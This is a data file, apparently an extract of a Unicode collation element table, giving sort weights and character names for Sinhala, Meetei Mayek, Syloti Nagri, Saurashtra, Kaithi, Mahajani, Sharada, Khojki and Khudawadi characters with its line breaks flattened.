[.290A.0020.0002] # SINHALA LETTER FAYANNA -0DCF ; [.290B.0020.0002] # SINHALA VOWEL SIGN AELA-PILLA -0DD0 ; [.290C.0020.0002] # SINHALA VOWEL SIGN KETTI AEDA-PILLA -0DD1 ; [.290D.0020.0002] # SINHALA VOWEL SIGN DIGA AEDA-PILLA -0DD2 ; [.290E.0020.0002] # SINHALA VOWEL SIGN KETTI IS-PILLA -0DD3 ; [.290F.0020.0002] # SINHALA VOWEL SIGN DIGA IS-PILLA -0DD4 ; [.2910.0020.0002] # SINHALA VOWEL SIGN KETTI PAA-PILLA -0DD6 ; [.2911.0020.0002] # SINHALA VOWEL SIGN DIGA PAA-PILLA -0DD8 ; [.2912.0020.0002] # SINHALA VOWEL SIGN GAETTA-PILLA -0DF2 ; [.2913.0020.0002] # SINHALA VOWEL SIGN DIGA GAETTA-PILLA -0DDF ; [.2914.0020.0002] # SINHALA VOWEL SIGN GAYANUKITTA -0DF3 ; [.2915.0020.0002] # SINHALA VOWEL SIGN DIGA GAYANUKITTA -0DD9 ; [.2916.0020.0002] # SINHALA VOWEL SIGN KOMBUVA -0DDA ; [.2917.0020.0002] # SINHALA VOWEL SIGN DIGA KOMBUVA -0DD9 0DCA ; [.2917.0020.0002] # SINHALA VOWEL SIGN DIGA KOMBUVA -0DDB ; [.2918.0020.0002] # SINHALA VOWEL SIGN KOMBU DEKA -0DDC ; [.2919.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA AELA-PILLA -0DD9 0DCF ; [.2919.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA AELA-PILLA -0DDD ; [.291A.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA DIGA AELA-PILLA -0DD9 0DCF 0DCA ; [.291A.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA DIGA AELA-PILLA -0DDC 0DCA ; [.291A.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA DIGA AELA-PILLA -0DDE ; [.291B.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA GAYANUKITTA -0DD9 0DDF ; [.291B.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA GAYANUKITTA -0DCA ; [.291C.0020.0002] # SINHALA SIGN AL-LAKUNA -AAF2 ; [.291D.0020.0002] # MEETEI MAYEK ANJI -ABC0 ; [.291E.0020.0002] # MEETEI MAYEK LETTER KOK -ABC1 ; [.291F.0020.0002] # MEETEI MAYEK LETTER SAM -ABC2 ; [.2920.0020.0002] # MEETEI MAYEK LETTER LAI -ABC3 ; [.2921.0020.0002] # MEETEI MAYEK LETTER MIT -ABC4 ; [.2922.0020.0002] # MEETEI MAYEK LETTER PA -ABC5 ; [.2923.0020.0002] # MEETEI MAYEK LETTER NA -ABC6 ; [.2924.0020.0002] # MEETEI MAYEK LETTER CHIL -ABC7 ; [.2925.0020.0002] # MEETEI MAYEK LETTER TIL -ABC8 ; [.2926.0020.0002] # MEETEI MAYEK LETTER KHOU -ABC9 ; [.2927.0020.0002] # MEETEI MAYEK LETTER NGOU -ABCA ; [.2928.0020.0002] # MEETEI MAYEK LETTER THOU -ABCB ; [.2929.0020.0002] # MEETEI MAYEK LETTER WAI -ABCC ; [.292A.0020.0002] # MEETEI MAYEK LETTER YANG -ABCD ; [.292B.0020.0002] # MEETEI MAYEK LETTER HUK -ABCE ; [.292C.0020.0002] # MEETEI MAYEK LETTER UN -ABCF ; [.292D.0020.0002] # MEETEI MAYEK LETTER I -ABD0 ; [.292E.0020.0002] # MEETEI MAYEK LETTER PHAM -ABD1 ; [.292F.0020.0002] # MEETEI MAYEK LETTER ATIYA -ABD2 ; [.2930.0020.0002] # MEETEI MAYEK LETTER GOK -ABD3 ; [.2931.0020.0002] # MEETEI MAYEK LETTER JHAM -ABD4 ; [.2932.0020.0002] # MEETEI MAYEK LETTER RAI -ABD5 ; [.2933.0020.0002] # MEETEI MAYEK LETTER BA -ABD6 ; [.2934.0020.0002] # MEETEI MAYEK LETTER JIL -ABD7 ; [.2935.0020.0002] # MEETEI MAYEK LETTER DIL -ABD8 ; [.2936.0020.0002] # MEETEI MAYEK LETTER GHOU -ABD9 ; [.2937.0020.0002] # MEETEI MAYEK LETTER DHOU -ABDA ; [.2938.0020.0002] # MEETEI MAYEK LETTER BHAM -AAE0 ; [.2939.0020.0002] # MEETEI MAYEK LETTER E -AAE1 ; [.293A.0020.0002] # MEETEI MAYEK LETTER O -AAE2 ; [.293B.0020.0002] # MEETEI MAYEK LETTER CHA -AAE3 ; [.293C.0020.0002] # MEETEI MAYEK LETTER NYA -AAE4 ; [.293D.0020.0002] # MEETEI MAYEK LETTER TTA -AAE5 ; [.293E.0020.0002] # MEETEI MAYEK LETTER TTHA -AAE6 ; [.293F.0020.0002] # MEETEI MAYEK LETTER DDA -AAE7 ; [.2940.0020.0002] # MEETEI MAYEK LETTER DDHA -AAE8 ; [.2941.0020.0002] # MEETEI MAYEK LETTER NNA -AAE9 ; [.2942.0020.0002] # MEETEI MAYEK LETTER SHA -AAEA ; [.2943.0020.0002] # MEETEI MAYEK LETTER SSA -ABE3 ; [.2944.0020.0002] # MEETEI MAYEK VOWEL SIGN ONAP -ABE4 ; [.2945.0020.0002] # MEETEI MAYEK VOWEL SIGN INAP -ABE5 ; [.2946.0020.0002] # MEETEI MAYEK VOWEL SIGN ANAP -ABE6 ; [.2947.0020.0002] # MEETEI MAYEK VOWEL SIGN YENAP -ABE7 ; [.2948.0020.0002] # MEETEI MAYEK VOWEL SIGN SOUNAP -ABE8 ; [.2949.0020.0002] # MEETEI MAYEK VOWEL SIGN UNAP -ABE9 ; [.294A.0020.0002] # MEETEI MAYEK VOWEL SIGN CHEINAP -ABEA ; [.294B.0020.0002] # MEETEI MAYEK VOWEL SIGN NUNG -AAEB ; [.294C.0020.0002] # MEETEI MAYEK VOWEL SIGN II -AAEC ; [.294D.0020.0002] # MEETEI MAYEK VOWEL SIGN UU -AAED ; [.294E.0020.0002] # MEETEI MAYEK VOWEL SIGN AAI -AAEE ; [.294F.0020.0002] # MEETEI MAYEK VOWEL SIGN AU -AAEF ; [.2950.0020.0002] # MEETEI MAYEK VOWEL SIGN AAU -AAF5 ; [.2951.0020.0002] # MEETEI MAYEK VOWEL SIGN VISARGA -ABDB ; [.2952.0020.0002] # MEETEI MAYEK LETTER KOK LONSUM -ABDC ; [.2953.0020.0002] # MEETEI MAYEK LETTER LAI LONSUM -ABDD ; [.2954.0020.0002] # MEETEI MAYEK LETTER MIT LONSUM -ABDE ; [.2955.0020.0002] # MEETEI MAYEK LETTER PA LONSUM -ABDF ; [.2956.0020.0002] # MEETEI MAYEK LETTER NA LONSUM -ABE0 ; [.2957.0020.0002] # MEETEI MAYEK LETTER TIL LONSUM -ABE1 ; [.2958.0020.0002] # MEETEI MAYEK LETTER NGOU LONSUM -ABE2 ; [.2959.0020.0002] # MEETEI MAYEK LETTER I LONSUM -ABED ; [.295A.0020.0002] # MEETEI MAYEK APUN IYEK -AAF6 ; [.295B.0020.0002] # MEETEI MAYEK VIRAMA -A800 ; [.295C.0020.0002] # SYLOTI NAGRI LETTER A -A801 ; [.295D.0020.0002] # SYLOTI NAGRI LETTER I -A802 ; [.295E.0020.0002] # SYLOTI NAGRI SIGN DVISVARA -A803 ; [.295F.0020.0002] # SYLOTI NAGRI LETTER U -A804 ; [.2960.0020.0002] # SYLOTI NAGRI LETTER E -A805 ; [.2961.0020.0002] # SYLOTI NAGRI LETTER O -A806 ; [.2962.0020.0002] # SYLOTI NAGRI SIGN HASANTA -A807 ; [.2963.0020.0002] # SYLOTI NAGRI LETTER KO -A808 ; [.2964.0020.0002] # SYLOTI NAGRI LETTER KHO -A809 ; [.2965.0020.0002] # SYLOTI NAGRI LETTER GO -A80A ; [.2966.0020.0002] # SYLOTI NAGRI LETTER GHO -A80C ; [.2967.0020.0002] # SYLOTI NAGRI LETTER CO -A80D ; [.2968.0020.0002] # SYLOTI NAGRI LETTER CHO -A80E ; [.2969.0020.0002] # SYLOTI NAGRI LETTER JO -A80F ; [.296A.0020.0002] # SYLOTI NAGRI LETTER JHO -A810 ; [.296B.0020.0002] # SYLOTI NAGRI LETTER TTO -A811 ; [.296C.0020.0002] # SYLOTI NAGRI LETTER TTHO -A812 ; [.296D.0020.0002] # SYLOTI NAGRI LETTER DDO -A813 ; [.296E.0020.0002] # SYLOTI NAGRI LETTER DDHO -A814 ; [.296F.0020.0002] # SYLOTI NAGRI LETTER TO -A815 ; [.2970.0020.0002] # SYLOTI NAGRI LETTER THO -A816 ; [.2971.0020.0002] # SYLOTI NAGRI LETTER DO -A817 ; [.2972.0020.0002] # SYLOTI NAGRI LETTER DHO -A818 ; [.2973.0020.0002] # SYLOTI NAGRI LETTER NO -A819 ; [.2974.0020.0002] # SYLOTI NAGRI LETTER PO -A81A ; [.2975.0020.0002] # SYLOTI NAGRI LETTER PHO -A81B ; [.2976.0020.0002] # SYLOTI NAGRI LETTER BO -A81C ; [.2977.0020.0002] # SYLOTI NAGRI LETTER BHO -A81D ; [.2978.0020.0002] # SYLOTI NAGRI LETTER MO -A81E ; [.2979.0020.0002] # SYLOTI NAGRI LETTER RO -A81F ; [.297A.0020.0002] # SYLOTI NAGRI LETTER LO -A820 ; [.297B.0020.0002] # SYLOTI NAGRI LETTER RRO -A821 ; [.297C.0020.0002] # SYLOTI NAGRI LETTER SO -A822 ; [.297D.0020.0002] # SYLOTI NAGRI LETTER HO -A823 ; [.297E.0020.0002] # SYLOTI NAGRI VOWEL SIGN A -A824 ; [.297F.0020.0002] # SYLOTI NAGRI VOWEL SIGN I -A825 ; [.2980.0020.0002] # SYLOTI NAGRI VOWEL SIGN U -A826 ; [.2981.0020.0002] # SYLOTI NAGRI VOWEL SIGN E -A827 ; [.2982.0020.0002] # SYLOTI NAGRI VOWEL SIGN OO -A882 ; [.2983.0020.0002] # SAURASHTRA LETTER A -A883 ; [.2984.0020.0002] # SAURASHTRA LETTER AA -A884 ; [.2985.0020.0002] # SAURASHTRA LETTER I -A885 ; [.2986.0020.0002] # SAURASHTRA LETTER II -A886 ; [.2987.0020.0002] # SAURASHTRA LETTER U -A887 ; [.2988.0020.0002] # SAURASHTRA LETTER UU -A888 ; [.2989.0020.0002] # SAURASHTRA LETTER VOCALIC R -A889 ; [.298A.0020.0002] # SAURASHTRA LETTER VOCALIC RR -A88A ; [.298B.0020.0002] # SAURASHTRA LETTER VOCALIC L -A88B ; [.298C.0020.0002] # SAURASHTRA LETTER VOCALIC LL -A88C ; [.298D.0020.0002] # SAURASHTRA LETTER E -A88D ; [.298E.0020.0002] # SAURASHTRA LETTER EE -A88E ; [.298F.0020.0002] # SAURASHTRA LETTER AI -A88F ; [.2990.0020.0002] # SAURASHTRA LETTER O -A890 ; [.2991.0020.0002] # SAURASHTRA LETTER OO -A891 ; [.2992.0020.0002] # SAURASHTRA LETTER AU -A892 ; [.2993.0020.0002] # SAURASHTRA LETTER KA -A893 ; [.2994.0020.0002] # SAURASHTRA LETTER KHA -A894 ; [.2995.0020.0002] # SAURASHTRA LETTER GA -A895 ; [.2996.0020.0002] # SAURASHTRA LETTER GHA -A896 ; [.2997.0020.0002] # SAURASHTRA LETTER NGA -A897 ; [.2998.0020.0002] # SAURASHTRA LETTER CA -A898 ; [.2999.0020.0002] # SAURASHTRA LETTER CHA -A899 ; [.299A.0020.0002] # SAURASHTRA LETTER JA -A89A ; [.299B.0020.0002] # SAURASHTRA LETTER JHA -A89B ; [.299C.0020.0002] # SAURASHTRA LETTER NYA -A89C ; [.299D.0020.0002] # SAURASHTRA LETTER TTA -A89D ; [.299E.0020.0002] # SAURASHTRA LETTER TTHA -A89E ; [.299F.0020.0002] # SAURASHTRA LETTER DDA -A89F ; [.29A0.0020.0002] # SAURASHTRA LETTER DDHA -A8A0 ; [.29A1.0020.0002] # SAURASHTRA LETTER NNA -A8A1 ; [.29A2.0020.0002] # SAURASHTRA LETTER TA -A8A2 ; [.29A3.0020.0002] # SAURASHTRA LETTER THA -A8A3 ; [.29A4.0020.0002] # SAURASHTRA LETTER DA -A8A4 ; [.29A5.0020.0002] # SAURASHTRA LETTER DHA -A8A5 ; [.29A6.0020.0002] # SAURASHTRA LETTER NA -A8A6 ; [.29A7.0020.0002] # SAURASHTRA LETTER PA -A8A7 ; [.29A8.0020.0002] # SAURASHTRA LETTER PHA -A8A8 ; [.29A9.0020.0002] # SAURASHTRA LETTER BA -A8A9 ; [.29AA.0020.0002] # SAURASHTRA LETTER BHA -A8AA ; [.29AB.0020.0002] # SAURASHTRA LETTER MA -A8AB ; [.29AC.0020.0002] # SAURASHTRA LETTER YA -A8AC ; [.29AD.0020.0002] # SAURASHTRA LETTER RA -A8AD ; [.29AE.0020.0002] # SAURASHTRA LETTER LA -A8AE ; [.29AF.0020.0002] # SAURASHTRA LETTER VA -A8AF ; [.29B0.0020.0002] # SAURASHTRA LETTER SHA -A8B0 ; [.29B1.0020.0002] # SAURASHTRA LETTER SSA -A8B1 ; [.29B2.0020.0002] # SAURASHTRA LETTER SA -A8B2 ; [.29B3.0020.0002] # SAURASHTRA LETTER HA -A8B3 ; [.29B4.0020.0002] # SAURASHTRA LETTER LLA -A8B4 ; [.29B5.0020.0002] # SAURASHTRA CONSONANT SIGN HAARU -A8B5 ; [.29B6.0020.0002] # SAURASHTRA VOWEL SIGN AA -A8B6 ; [.29B7.0020.0002] # SAURASHTRA VOWEL SIGN I -A8B7 ; [.29B8.0020.0002] # SAURASHTRA VOWEL SIGN II -A8B8 ; [.29B9.0020.0002] # SAURASHTRA VOWEL SIGN U -A8B9 ; [.29BA.0020.0002] # SAURASHTRA VOWEL SIGN UU -A8BA ; [.29BB.0020.0002] # SAURASHTRA VOWEL SIGN VOCALIC R -A8BB ; [.29BC.0020.0002] # SAURASHTRA VOWEL SIGN VOCALIC RR -A8BC ; [.29BD.0020.0002] # SAURASHTRA VOWEL SIGN VOCALIC L -A8BD ; [.29BE.0020.0002] # SAURASHTRA VOWEL SIGN VOCALIC LL -A8BE ; [.29BF.0020.0002] # SAURASHTRA VOWEL SIGN E -A8BF ; [.29C0.0020.0002] # SAURASHTRA VOWEL SIGN EE -A8C0 ; [.29C1.0020.0002] # SAURASHTRA VOWEL SIGN AI -A8C1 ; [.29C2.0020.0002] # SAURASHTRA VOWEL SIGN O -A8C2 ; [.29C3.0020.0002] # SAURASHTRA VOWEL SIGN OO -A8C3 ; [.29C4.0020.0002] # SAURASHTRA VOWEL SIGN AU -A8C4 ; [.29C5.0020.0002] # SAURASHTRA SIGN VIRAMA -11083 ; [.29C6.0020.0002] # KAITHI LETTER A -11084 ; [.29C7.0020.0002] # KAITHI LETTER AA -11085 ; [.29C8.0020.0002] # KAITHI LETTER I -11086 ; [.29C9.0020.0002] # KAITHI LETTER II -11087 ; [.29CA.0020.0002] # KAITHI LETTER U -11088 ; [.29CB.0020.0002] # KAITHI LETTER UU -11089 ; [.29CC.0020.0002] # KAITHI LETTER E -1108A ; [.29CD.0020.0002] # KAITHI LETTER AI -1108B ; [.29CE.0020.0002] # KAITHI LETTER O -1108C ; [.29CF.0020.0002] # KAITHI LETTER AU -1108D ; [.29D0.0020.0002] # KAITHI LETTER KA -1108E ; [.29D1.0020.0002] # KAITHI LETTER KHA -1108F ; [.29D2.0020.0002] # KAITHI LETTER GA -11090 ; [.29D3.0020.0002] # KAITHI LETTER GHA -11091 ; [.29D4.0020.0002] # KAITHI LETTER NGA -11092 ; [.29D5.0020.0002] # KAITHI LETTER CA -11093 ; [.29D6.0020.0002] # KAITHI LETTER CHA -11094 ; [.29D7.0020.0002] # KAITHI LETTER JA -11095 ; [.29D8.0020.0002] # KAITHI LETTER JHA -11096 ; [.29D9.0020.0002] # KAITHI LETTER NYA -11097 ; [.29DA.0020.0002] # KAITHI LETTER TTA -11098 ; [.29DB.0020.0002] # KAITHI LETTER TTHA -11099 ; [.29DC.0020.0002] # KAITHI LETTER DDA -1109A ; [.29DC.0020.0002][.0000.00C2.0002] # KAITHI LETTER DDDHA -1109B ; [.29DD.0020.0002] # KAITHI LETTER DDHA -1109C ; [.29DD.0020.0002][.0000.00C2.0002] # KAITHI LETTER RHA -1109D ; [.29DE.0020.0002] # KAITHI LETTER NNA -1109E ; [.29DF.0020.0002] # KAITHI LETTER TA -1109F ; [.29E0.0020.0002] # KAITHI LETTER THA -110A0 ; [.29E1.0020.0002] # KAITHI LETTER DA -110A1 ; [.29E2.0020.0002] # KAITHI LETTER DHA -110A2 ; [.29E3.0020.0002] # KAITHI LETTER NA -110A3 ; [.29E4.0020.0002] # KAITHI LETTER PA -110A4 ; [.29E5.0020.0002] # KAITHI LETTER PHA -110A5 ; [.29E6.0020.0002] # KAITHI LETTER BA -110AB ; [.29E6.0020.0002][.0000.00C2.0002] # KAITHI LETTER VA -110A6 ; [.29E7.0020.0002] # KAITHI LETTER BHA -110A7 ; [.29E8.0020.0002] # KAITHI LETTER MA -110A8 ; [.29E9.0020.0002] # KAITHI LETTER YA -110A9 ; [.29EA.0020.0002] # KAITHI LETTER RA -110AA ; [.29EB.0020.0002] # KAITHI LETTER LA -110AC ; [.29EC.0020.0002] # KAITHI LETTER SHA -110AD ; [.29ED.0020.0002] # KAITHI LETTER SSA -110AE ; [.29EE.0020.0002] # KAITHI LETTER SA -110AF ; [.29EF.0020.0002] # KAITHI LETTER HA -110B0 ; [.29F0.0020.0002] # KAITHI VOWEL SIGN AA -110B1 ; [.29F1.0020.0002] # KAITHI VOWEL SIGN I -110B2 ; [.29F2.0020.0002] # KAITHI VOWEL SIGN II -110B3 ; [.29F3.0020.0002] # KAITHI VOWEL SIGN U -110B4 ; [.29F4.0020.0002] # KAITHI VOWEL SIGN UU -110B5 ; [.29F5.0020.0002] # KAITHI VOWEL SIGN E -110B6 ; [.29F6.0020.0002] # KAITHI VOWEL SIGN AI -110B7 ; [.29F7.0020.0002] # KAITHI VOWEL SIGN O -110B8 ; [.29F8.0020.0002] # KAITHI VOWEL SIGN AU -110B9 ; [.29F9.0020.0002] # KAITHI SIGN VIRAMA -11150 ; [.29FA.0020.0002] # MAHAJANI LETTER A -11151 ; [.29FB.0020.0002] # MAHAJANI LETTER I -11152 ; [.29FC.0020.0002] # MAHAJANI LETTER U -11153 ; [.29FD.0020.0002] # MAHAJANI LETTER E -11154 ; [.29FE.0020.0002] # MAHAJANI LETTER O -11155 ; [.29FF.0020.0002] # MAHAJANI LETTER KA -11156 ; [.2A00.0020.0002] # MAHAJANI LETTER KHA -11157 ; [.2A01.0020.0002] # MAHAJANI LETTER GA -11158 ; [.2A02.0020.0002] # MAHAJANI LETTER GHA -11159 ; [.2A03.0020.0002] # MAHAJANI LETTER CA -1115A ; [.2A04.0020.0002] # MAHAJANI LETTER CHA -1115B ; [.2A05.0020.0002] # MAHAJANI LETTER JA -1115C ; [.2A06.0020.0002] # MAHAJANI LETTER JHA -1115D ; [.2A07.0020.0002] # MAHAJANI LETTER NYA -1115E ; [.2A08.0020.0002] # MAHAJANI LETTER TTA -1115F ; [.2A09.0020.0002] # MAHAJANI LETTER TTHA -11160 ; [.2A0A.0020.0002] # MAHAJANI LETTER DDA -11161 ; [.2A0B.0020.0002] # MAHAJANI LETTER DDHA -11162 ; [.2A0C.0020.0002] # MAHAJANI LETTER NNA -11163 ; [.2A0D.0020.0002] # MAHAJANI LETTER TA -11164 ; [.2A0E.0020.0002] # MAHAJANI LETTER THA -11165 ; [.2A0F.0020.0002] # MAHAJANI LETTER DA -11166 ; [.2A10.0020.0002] # MAHAJANI LETTER DHA -11167 ; [.2A11.0020.0002] # MAHAJANI LETTER NA -11168 ; [.2A12.0020.0002] # MAHAJANI LETTER PA -11169 ; [.2A13.0020.0002] # MAHAJANI LETTER PHA -1116A ; [.2A14.0020.0002] # MAHAJANI LETTER BA -1116B ; [.2A15.0020.0002] # MAHAJANI LETTER BHA -1116C ; [.2A16.0020.0002] # MAHAJANI LETTER MA -1116D ; [.2A17.0020.0002] # MAHAJANI LETTER RA -1116E ; [.2A18.0020.0002] # MAHAJANI LETTER LA -1116F ; [.2A19.0020.0002] # MAHAJANI LETTER VA -11176 ; [.2A1A.0020.0002] # MAHAJANI LIGATURE SHRI -11170 ; [.2A1B.0020.0002] # MAHAJANI LETTER SA -11171 ; [.2A1C.0020.0002] # MAHAJANI LETTER HA -11172 ; [.2A1D.0020.0002] # MAHAJANI LETTER RRA -111C4 ; [.2A1E.0020.0002] # SHARADA OM -111DA ; [.2A1F.0020.0002] # SHARADA EKAM -11183 ; [.2A20.0020.0002] # SHARADA LETTER A -11184 ; [.2A21.0020.0002] # SHARADA LETTER AA -11185 ; [.2A22.0020.0002] # SHARADA LETTER I -11186 ; [.2A23.0020.0002] # SHARADA LETTER II -11187 ; [.2A24.0020.0002] # SHARADA LETTER U -11188 ; [.2A25.0020.0002] # SHARADA LETTER UU -11189 ; [.2A26.0020.0002] # SHARADA LETTER VOCALIC R -1118A ; [.2A27.0020.0002] # SHARADA LETTER VOCALIC RR -1118B ; [.2A28.0020.0002] # SHARADA LETTER VOCALIC L -1118C ; [.2A29.0020.0002] # SHARADA LETTER VOCALIC LL -1118D ; [.2A2A.0020.0002] # SHARADA LETTER E -1118E ; [.2A2B.0020.0002] # SHARADA LETTER AI -1118F ; [.2A2C.0020.0002] # SHARADA LETTER O -11190 ; [.2A2D.0020.0002] # SHARADA LETTER AU -11191 ; [.2A2E.0020.0002] # SHARADA LETTER KA -11192 ; [.2A2F.0020.0002] # SHARADA LETTER KHA -11193 ; [.2A30.0020.0002] # SHARADA LETTER GA -11194 ; [.2A31.0020.0002] # SHARADA LETTER GHA -11195 ; [.2A32.0020.0002] # SHARADA LETTER NGA -11196 ; [.2A33.0020.0002] # SHARADA LETTER CA -11197 ; [.2A34.0020.0002] # SHARADA LETTER CHA -11198 ; [.2A35.0020.0002] # SHARADA LETTER JA -11199 ; [.2A36.0020.0002] # SHARADA LETTER JHA -1119A ; [.2A37.0020.0002] # SHARADA LETTER NYA -1119B ; [.2A38.0020.0002] # SHARADA LETTER TTA -1119C ; [.2A39.0020.0002] # SHARADA LETTER TTHA -1119D ; [.2A3A.0020.0002] # SHARADA LETTER DDA -1119E ; [.2A3B.0020.0002] # SHARADA LETTER DDHA -1119F ; [.2A3C.0020.0002] # SHARADA LETTER NNA -111A0 ; [.2A3D.0020.0002] # SHARADA LETTER TA -111A1 ; [.2A3E.0020.0002] # SHARADA LETTER THA -111A2 ; [.2A3F.0020.0002] # SHARADA LETTER DA -111A3 ; [.2A40.0020.0002] # SHARADA LETTER DHA -111A4 ; [.2A41.0020.0002] # SHARADA LETTER NA -111A5 ; [.2A42.0020.0002] # SHARADA LETTER PA -111A6 ; [.2A43.0020.0002] # SHARADA LETTER PHA -111A7 ; [.2A44.0020.0002] # SHARADA LETTER BA -111A8 ; [.2A45.0020.0002] # SHARADA LETTER BHA -111A9 ; [.2A46.0020.0002] # SHARADA LETTER MA -111AA ; [.2A47.0020.0002] # SHARADA LETTER YA -111AB ; [.2A48.0020.0002] # SHARADA LETTER RA -111AC ; [.2A49.0020.0002] # SHARADA LETTER LA -111AD ; [.2A4A.0020.0002] # SHARADA LETTER LLA -111AE ; [.2A4B.0020.0002] # SHARADA LETTER VA -111AF ; [.2A4C.0020.0002] # SHARADA LETTER SHA -111B0 ; [.2A4D.0020.0002] # SHARADA LETTER SSA -111B1 ; [.2A4E.0020.0002] # SHARADA LETTER SA -111B2 ; [.2A4F.0020.0002] # SHARADA LETTER HA -111C1 ; [.2A50.0020.0002] # SHARADA SIGN AVAGRAHA -111C2 ; [.2A51.0020.0002] # SHARADA SIGN JIHVAMULIYA -111C3 ; [.2A52.0020.0002] # SHARADA SIGN UPADHMANIYA -111DC ; [.2A53.0020.0002] # SHARADA HEADSTROKE -111B3 ; [.2A54.0020.0002] # SHARADA VOWEL SIGN AA -111B4 ; [.2A55.0020.0002] # SHARADA VOWEL SIGN I -111B5 ; [.2A56.0020.0002] # SHARADA VOWEL SIGN II -111B6 ; [.2A57.0020.0002] # SHARADA VOWEL SIGN U -111B7 ; [.2A58.0020.0002] # SHARADA VOWEL SIGN UU -111B8 ; [.2A59.0020.0002] # SHARADA VOWEL SIGN VOCALIC R -111B9 ; [.2A5A.0020.0002] # SHARADA VOWEL SIGN VOCALIC RR -111BA ; [.2A5B.0020.0002] # SHARADA VOWEL SIGN VOCALIC L -111BB ; [.2A5C.0020.0002] # SHARADA VOWEL SIGN VOCALIC LL -111BC ; [.2A5D.0020.0002] # SHARADA VOWEL SIGN E -111BD ; [.2A5E.0020.0002] # SHARADA VOWEL SIGN AI -111BE ; [.2A5F.0020.0002] # SHARADA VOWEL SIGN O -111BF ; [.2A60.0020.0002] # SHARADA VOWEL SIGN AU -111C0 ; [.2A61.0020.0002] # SHARADA SIGN VIRAMA -11200 ; [.2A62.0020.0002] # KHOJKI LETTER A -11201 ; [.2A63.0020.0002] # KHOJKI LETTER AA -11202 ; [.2A64.0020.0002] # KHOJKI LETTER I -11203 ; [.2A65.0020.0002] # KHOJKI LETTER U -11204 ; [.2A66.0020.0002] # KHOJKI LETTER E -11205 ; [.2A67.0020.0002] # KHOJKI LETTER AI -11206 ; [.2A68.0020.0002] # KHOJKI LETTER O -11207 ; [.2A69.0020.0002] # KHOJKI LETTER AU -11208 ; [.2A6A.0020.0002] # KHOJKI LETTER KA -11209 ; [.2A6B.0020.0002] # KHOJKI LETTER KHA -1120A ; [.2A6C.0020.0002] # KHOJKI LETTER GA -1120B ; [.2A6D.0020.0002] # KHOJKI LETTER GGA -1120C ; [.2A6E.0020.0002] # KHOJKI LETTER GHA -1120D ; [.2A6F.0020.0002] # KHOJKI LETTER NGA -1120E ; [.2A70.0020.0002] # KHOJKI LETTER CA -1120F ; [.2A71.0020.0002] # KHOJKI LETTER CHA -11210 ; [.2A72.0020.0002] # KHOJKI LETTER JA -11211 ; [.2A73.0020.0002] # KHOJKI LETTER JJA -11213 ; [.2A74.0020.0002] # KHOJKI LETTER NYA -11214 ; [.2A75.0020.0002] # KHOJKI LETTER TTA -11215 ; [.2A76.0020.0002] # KHOJKI LETTER TTHA -11216 ; [.2A77.0020.0002] # KHOJKI LETTER DDA -11217 ; [.2A78.0020.0002] # KHOJKI LETTER DDHA -11218 ; [.2A79.0020.0002] # KHOJKI LETTER NNA -11219 ; [.2A7A.0020.0002] # KHOJKI LETTER TA -1121A ; [.2A7B.0020.0002] # KHOJKI LETTER THA -1121B ; [.2A7C.0020.0002] # KHOJKI LETTER DA -1121C ; [.2A7D.0020.0002] # KHOJKI LETTER DDDA -1121D ; [.2A7E.0020.0002] # KHOJKI LETTER DHA -1121E ; [.2A7F.0020.0002] # KHOJKI LETTER NA -1121F ; [.2A80.0020.0002] # KHOJKI LETTER PA -11220 ; [.2A81.0020.0002] # KHOJKI LETTER PHA -11221 ; [.2A82.0020.0002] # KHOJKI LETTER BA -11222 ; [.2A83.0020.0002] # KHOJKI LETTER BBA -11223 ; [.2A84.0020.0002] # KHOJKI LETTER BHA -11224 ; [.2A85.0020.0002] # KHOJKI LETTER MA -11225 ; [.2A86.0020.0002] # KHOJKI LETTER YA -11226 ; [.2A87.0020.0002] # KHOJKI LETTER RA -11227 ; [.2A88.0020.0002] # KHOJKI LETTER LA -11228 ; [.2A89.0020.0002] # KHOJKI LETTER VA -11229 ; [.2A8A.0020.0002] # KHOJKI LETTER SA -1122A ; [.2A8B.0020.0002] # KHOJKI LETTER HA -1122B ; [.2A8C.0020.0002] # KHOJKI LETTER LLA -1122C ; [.2A8D.0020.0002] # KHOJKI VOWEL SIGN AA -1122D ; [.2A8E.0020.0002] # KHOJKI VOWEL SIGN I -1122E ; [.2A8F.0020.0002] # KHOJKI VOWEL SIGN II -1122F ; [.2A90.0020.0002] # KHOJKI VOWEL SIGN U -11230 ; [.2A91.0020.0002] # KHOJKI VOWEL SIGN E -11231 ; [.2A92.0020.0002] # KHOJKI VOWEL SIGN AI -11232 ; [.2A93.0020.0002] # KHOJKI VOWEL SIGN O -11233 ; [.2A94.0020.0002] # KHOJKI VOWEL SIGN AU -11235 ; [.2A95.0020.0002] # KHOJKI SIGN VIRAMA -112B0 ; [.2A96.0020.0002] # KHUDAWADI LETTER A -112B1 ; [.2A97.0020.0002] # KHUDAWADI LETTER AA -112B2 ; [.2A98.0020.0002] # KHUDAWADI LETTER I -112B3 ; [.2A99.0020.0002] # KHUDAWADI LETTER II -112B4 ; [.2A9A.0020.0002] # KHUDAWADI LETTER U -112B5 ; [.2A9B.0020.0002] # KHUDAWADI LETTER UU -112B6 ; [.2A9C.0020.0002] # KHUDAWADI LETTER E -112B7 ; [.2A9D.0020.0002] # KHUDAWADI LETTER AI -112B8 ; [.2A9E.0020.0002] # KHUDAWADI LETTER O -112B9 ; [.2A9F.0020.0002] # KHUDAWADI LETTER AU -112BA ; [.2AA0.0020.0002] # KHUDAWADI LETTER KA -112BB ; [.2AA1.0020.0002] # KHUDAWADI LETTER KHA -112BC ; [.2AA2.0020.0002] # KHUDAWADI LETTER GA -112BD ; [.2AA3.0020.0002] # KHUDAWADI LETTER GGA -112BE ; [.2AA4.0020.0002] # KHUDAWADI LETTER GHA -112BF ; [.2AA5.0020.0002] # KHUDAWADI LETTER NGA -112C0 ; [.2AA6.0020.0002] # KHUDAWADI LETTER CA -112C1 ; [.2AA7.0020.0002] # KHUDAWADI LETTER CHA -112C2 ; [.2AA8.0020.0002] # KHUDAWADI LETTER JA -112C3 ; [.2AA9.0020.0002] # KHUDAWADI LETTER JJA -112C4 ; [.2AAA.0020.0002] # KHUDAWADI LETTER JHA -112C5 ; [.2AAB.0020.0002] # KHUDAWADI LETTER NYA -112C6 ; [.2AAC.0020.0002] # KHUDAWADI LETTER TTA -112C7 